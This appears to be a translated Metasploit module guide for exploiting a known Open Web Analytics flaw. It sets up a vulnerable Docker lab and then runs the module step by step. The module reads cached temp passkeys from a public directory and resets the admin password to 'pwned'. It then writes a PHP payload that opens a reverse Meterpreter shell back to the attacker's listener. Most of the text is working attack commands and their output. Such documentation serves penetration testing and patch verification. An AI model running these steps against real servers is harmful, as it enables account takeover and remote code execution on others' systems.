1.7.4 之前的 Open Web Analytics (OWA) 允许未经身份验证的远程攻击者获取敏感用户信息,此信息可用于通过利用缓存哈希获取管理员权限。这是由于使用 `<?php (而不是预期的 "<?php 序列生成的文件)未被 PHP 解释器处理。
使用 Docker 启动一个易受攻击的 OWA 实例
docker compose up -ddocker-compose.yml 文件中的环境变量执行安装步骤
http://127.0.0.1/docker inspect <db-container> 获取 IPAddress,例如 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#启动 msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> 这需要是 docker compose up -d 命令创建的桥接 IP
check
run
当利用目标时,受攻击用户的密码将被此密码覆盖。
此漏洞利用所针对的用户。
该漏洞利用的方式是:当用户尝试登录时,每个用户都会生成一个缓存文件,其中包含 temp_passkey 值。由于 /owa-data/caches/ 目录可公开访问,我们可以获取这些缓存文件。缓存文件的确切路径取决于 user_id,并且可以通过该值计算得出。此选项定义从 0 开始,应检查多少个计算出的路径,以查找包含 temp_passkey 值的缓存文件。
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >